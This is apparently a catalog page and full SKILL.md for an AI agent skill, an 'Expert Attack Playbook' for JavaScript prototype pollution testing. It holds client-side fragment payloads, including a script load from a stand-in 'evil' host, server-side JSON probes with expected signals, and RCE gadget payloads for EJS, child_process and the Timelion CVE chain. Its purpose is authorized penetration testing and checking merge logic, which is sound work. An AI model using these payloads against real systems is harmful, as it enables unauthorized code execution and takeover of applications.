prototype-pollution
yaklang/hack-skills
Test JavaScript prototype pollution in client and server contexts via __proto__ and constructor.prototype paths.
What is prototype-pollution?
Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.
- Detect prototype pollution via __proto__ and constructor.prototype key injection
- Test client-side pollution through URL fragments and DOM-based routing
- Probe server-side merge sinks in Express, qs, and body-parser configurations
- Identify gadget chains in EJS, child_process, NODE_OPTIONS, and JSON.stringify options
- Verify global side effects across requests to confirm pollution persistence
- Map parser behavior differences (allowDots, parameterLimit, ignoreQueryPrefix) via observable signals
How to install prototype-pollution
npx skills add https://github.com/yaklang/hack-skills --skill prototype-pollutionHow to use prototype-pollution
- 1.Send initial probe payloads: {"__proto__":{"polluted":true}} or #__proto__[polluted]=1 depending on client/server context
- 2.Observe global side effects in follow-up requests (response headers, status codes, JSON spacing, parsing behavior changes)
- 3.Test constructor.prototype path if __proto__ filtering is detected: {"constructor":{"prototype":{"polluted":true}}}
- 4.Map parser configuration via observable signals (parameterLimit, allowDots, json spaces, status codes)
- 5.Identify gadget sinks by checking which libraries/functions read from Object.prototype without hasOwnProperty checks
- 6.Chain pollution to RCE by polluting options read by child_process, EJS, or other execution contexts
Use cases
- Testing deep merge functions (lodash.merge, deep-extend, hoek.applyToDefaults) for pollution
- Hunting RCE via polluted child_process options or NODE_OPTIONS in Node.js applications
- Detecting CORS/header injection when framework reads config from Object.prototype
- Verifying template engine gadgets (EJS escapeFunction) that read options from prototype chain
- Black-box probing of JSON/form parsers to detect global configuration pollution
- Security researchers testing JavaScript applications
- Penetration testers auditing Node.js and Express backends
- Bug bounty hunters hunting prototype pollution chains
- Application developers validating merge logic against untrusted input
prototype-pollution FAQ
__proto__ is the magic key that many parsers treat as a direct prototype reference. constructor.prototype accesses the constructor function's prototype object. They are not always equivalent due to filtering, JSON parsing differences, and runtime variations; test both paths.
Send a pollution payload (e.g., {"__proto__":{"parameterLimit":1}}), then send a clean follow-up request and observe global side effects: abnormal response headers, status codes, JSON spacing, or parsing behavior changes. Pollution persists across requests if the application is vulnerable.
EJS escapeFunction option, child_process spawn/exec options (shell, argv0, env, NODE_OPTIONS), JSON.stringify spacing, and CORS exposedHeaders. Chains work by polluting Object.prototype with properties that later code reads without hasOwnProperty checks.
lodash.merge, deep-extend, hoek.applyToDefaults, qs (query-string parser), body-parser, and any custom recursive merge logic. Check version and configuration; some versions patch __proto__ filtering.
Use URL fragments like #__proto__[polluted]=1 or #constructor[prototype][role]=admin. Open a fresh page without the fragment and check console whether test keys remain on Object.prototype. Pair with alert(1) payloads if the framework executes code based on polluted properties.
Full instructions (SKILL.md)
Source of truth, from yaklang/hack-skills.
name: prototype-pollution description: >- Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.
SKILL: Prototype Pollution — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert prototype pollution for client and server JS. Covers
__proto__vsconstructor.prototype, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on parser behavior and post-pollution sinks.
Routing note: prioritize PP when you see deep merges, recursive assign, JSON.parse followed by Object.assign, or URL queries converted to nested objects.
0. QUICK START
Client-side first probes
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1
When input can reflect into DOM or framework routing, pair with alert(1) / console checks to observe whether global object properties were polluted.
#__proto__[xxx]=alert(1)
Server-side first probes(JSON / form)
{"__proto__":{"polluted":true}}
{"constructor":{"prototype":{"polluted":true}}}
After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads Object.prototype.polluted (see §3 detection table).
Quick boolean
If target code uses lodash.merge, deep-extend, hoek.applyToDefaults, or some qs/query-string configurations, raise priority.
1. MECHANISM
Prototype chain: when accessing obj.key, if obj lacks own property key, lookup walks up [[Prototype]] until Object.prototype.
__proto__: many parsers treat literal key __proto__ as a magic path that attaches child properties to the prototype. Merging { "__proto__": { "x": 1 } } can be equivalent to Object.prototype.x = 1 depending on implementation and patch level.
constructor.prototype: constructor typically points to the object's constructor function; constructor.prototype is that constructor's prototype object. For plain objects this usually links to Object.prototype. Example path:
{"constructor":{"prototype":{"polluted":1}}}
This is not always equivalent to __proto__ (filtering, JSON parsing, Bun/Node differences), so test both paths.
Core issue: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to prototype objects, giving global or shared template context malicious properties that later code reads normally, triggering gadgets.
2. CLIENT-SIDE DETECTION
URL fragment
https://app.example/page#__proto__[admin]=1
https://app.example/#__proto__[xxx]=alert(1)
If router or analytics code parses fragments into objects and then merges, pollution may occur.
constructor.prototype path
#constructor[prototype][role]=admin
DOM / attribute injection ideas
If the framework merges attribute names as object keys:
__proto__[src]=//evil/xss.js
Event-handler style keys (implementation-dependent):
__proto__[onerror]=alert(1)
Verification: open a fresh page without fragment and check in console whether test keys remain on Object.prototype; account for extension and DevTools interference.
3. SERVER-SIDE DETECTION (Express / Node, black-box)
The payloads below assume body/query is deeply parsed into objects by qs or similar parsers (possibly with body-parser). Observe global side effects, not only current endpoint return values.
| Payload (JSON example) | Expected observable signal |
|---|---|
{"__proto__":{"parameterLimit":1}} | Multi-parameter parsing in follow-up requests is ignored or abnormal (qs-style parameterLimit) |
{"__proto__":{"ignoreQueryPrefix":true}} | Double-question-mark prefixes like ??foo=bar are accepted or behavior changes sharply |
{"__proto__":{"allowDots":true}} | Nested keys like ?foo.bar=baz are expanded via dot notation |
{"__proto__":{"json spaces":" "}} | JSON-serialized responses gain extra spaces (JSON.stringify spacing setting polluted) |
{"__proto__":{"exposedHeaders":["foo"]}} | CORS responses include foo-related headers (if framework reads config from prototype) |
{"__proto__":{"status":510}} | Some response status changes to 510 or another abnormal code (app reads status from object) |
Operational tip: send pollution request first, then a clean request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.
4. EXPLOITATION GADGETS
| Target / scenario | Payload or pattern | Notes |
|---|---|---|
| EJS | {"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}} | If template engine options like escapeFunction are read from polluted prototype, this may lead to RCE; strongly version/config dependent |
| Timelion expression chain (CVE-2019-7609) | .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")') | Historical chain: prototype pollution + timeline expression execution; useful to understand expression + PP combinations |
Node child_process | Pollute shell, argv0, env, NODE_OPTIONS, etc. (merged into exec/fork option objects) | Depends on whether later code calls spawn/fork and reads options from prototype chain |
| Generic constructor path | {"constructor":{"prototype":{"foo":"bar"}}} | Bypasses weak validation that filters only the __proto__ key |
Chain mindset: pollution -> dependency reads obj.settings.xxx without hasOwnProperty -> RCE / SSRF / path traversal.
5. TOOLS
| Project | Purpose |
|---|---|
| yeswehack/pp-finder | Helps locate PP-prone merge points and patterns |
| yuske/silent-spring | Research and detection around prototype-pollution surfaces |
| yuske/server-side-prototype-pollution | Server-side PP testing suite/methodology |
| BlackFan/client-side-prototype-pollution | Browser-side PP cases and payloads |
| portswigger/server-side-prototype-pollution | Burp ecosystem extension / supporting material |
| msrkp/PPScan | Scanning/verification helper |
Prioritize use on authorized targets; automated tools can cause side effects on stateful applications.
6. DECISION TREE
Input merged into nested object?
(query, JSON, GraphQL vars, YAML→JSON)
|
NO --------------+-------------- YES
| |
Other vuln class Parser allows __proto__ /
constructor.prototype keys?
|
NO --------------+-------------- YES
| |
Check unicode / Confirm global effect:
bypass of key names clean follow-up request
| |
+--------------+----------------+
|
v
Gadget present? (template, spawn, JSON.stringify opts, CORS)
|
NO ------------------+------------------ YES
| |
Report PP as DoS / Build minimal RCE or
logic impact high-impact PoC
| |
+---------------------+-------------------+
|
v
Client-side: fragment / DOM / third-party script
Server-side: qs/body-parser/lodash/deep-merge version audit
Related routing
- Input routing and multi-injection parallel entry -> Injection Testing Router.
- Template execution chains (non-PP) -> SSTI.
- Insecure deserialization (non-JS prototype) -> Deserialization.
Related skills
More from yaklang/hack-skills and the wider catalog.

prototype-pollution-advanced
Escalate confirmed prototype pollution to RCE via template engines, child_process gadgets, and client-side script exploitation.

race-condition
Test race conditions and TOCTOU vulnerabilities in web apps via synchronized parallel requests.

recon-and-methodology
Systematic reconnaissance and bug-hunting methodology for mapping assets, discovering endpoints, and building structured testing plans.

recon-for-sec
Entry-point router for security reconnaissance and methodology on new targets.

request-smuggling
HTTP request smuggling and desynchronization testing for proxy/origin framing disagreements.

reverse-shell-techniques
Reverse shell techniques playbook for establishing remote shells across Linux, Windows, and web platforms.